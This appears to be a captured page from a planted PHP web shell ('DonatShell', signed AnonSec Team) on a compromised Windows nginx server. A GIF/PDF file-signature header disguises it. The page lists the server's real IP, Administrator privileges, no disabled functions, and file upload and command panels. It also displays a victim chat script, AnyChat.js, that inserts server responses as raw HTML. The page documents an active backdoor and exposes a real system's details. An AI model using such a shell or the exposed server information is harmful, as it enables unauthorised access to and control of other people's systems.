GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/Tools/AnyChat/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/Tools/AnyChat/AnyChat.js
// Tools/AnyChat/AnyChat.js

var SendTime = getDateTime();

function checkName() {
	var Name = document.getElementById('inpName').value.trim();;
	if ( Name.value != '' ) {
		document.getElementById('spnNameEmpty').className = 'hidden';
	}
	if ( Name.length > 24 ) {
		document.getElementById('spnNameError').className = 'error';
	} else {
		document.getElementById('spnNameError').className = 'hidden';
	}
}

function clearChat() {
	document.getElementById('divAnyChat').innerHTML = '';
	document.getElementById('txaChatText').focus();
}

function getChat() {
	console.warn('getChat[]');
	var ChatGet = document.getElementById('divChatGet').innerHTML;
	if ( ChatGet != '' ) {
		document.getElementById('divChatGet').innerHTML = '';
		document.getElementById('divAnyChat').innerHTML += ChatGet;
	}
}

function getDateTime() {
	var theDate = new Date();
	var theMonth = theDate.getMonth(); if ( theMonth < 10 ) theMonth = '0'+theMonth;
	var theDay = theDate.getDate(); if ( theDay < 10 ) theDay = '0'+theDay;
	var theHour = theDate.getHours(); if ( theHour < 10 ) theHour = '0'+theHour;
	var theMinute = theDate.getMinutes(); if ( theMinute < 10 ) theMinute = '0'+theMinute;
	var theSecond = theDate.getSeconds(); if ( theSecond < 10 ) theSecond = '0'+theSecond;
	return theDate.getFullYear()+'-'+theMonth+'-'+theDay+' '+theHour+':'+theMinute+':'+theSecond;
}

function sendChat() {
	document.getElementById('divChatBack').innerHTML = '';
	var Name = document.getElementById('inpName').value.trim();;
	if ( Name != '' ) {
		if ( Name.length > 24 ) {
			document.getElementById('spnNameError').className = 'error';
		} else {
			document.getElementById('spnNameError').className = 'hidden';
			var ChatText = document.getElementById('txaChatText').value.replace(/\n/g, '').trim();
			console.log('ChatText='+ChatText);
			if ( ChatText != '' ) {
				SendTime = getDateTime();
				var query = 'task=Send'+'&Name='+Name+'&Time='+SendTime+'&ChatText='+encodeURIComponent(ChatText);
				var URI = '/Tools/AnyChat/AnyChat.php?'+query;
				console.log('updateInclude('+URI+');');
				updateInclude(URI,'divChatBack');
				setTimeout(sendChatWait,500);
			}
			//document.getElementById('txaChatText').value = '';
		}
	} else {
		document.getElementById('spnNameEmpty').className = 'error';
	}
}

function sendChatWait() {
	var ChatBack = document.getElementById('divChatBack').innerHTML;
	if ( ChatBack == '' || ChatBack.indexOf('Loading') != -1 ) {
		setTimeout(sendChatWait,500);
	} else {
		//var chatSent = document.getElementById('divChatBack').innerHTML;
		//document.getElementById('divAnyChat').innerHTML += chatSent;
		document.getElementById('txaChatText').value = '';
		document.getElementById('txaChatText').focus();
	}
}
	
	
	


Anon7 - 2022
AnonSec Team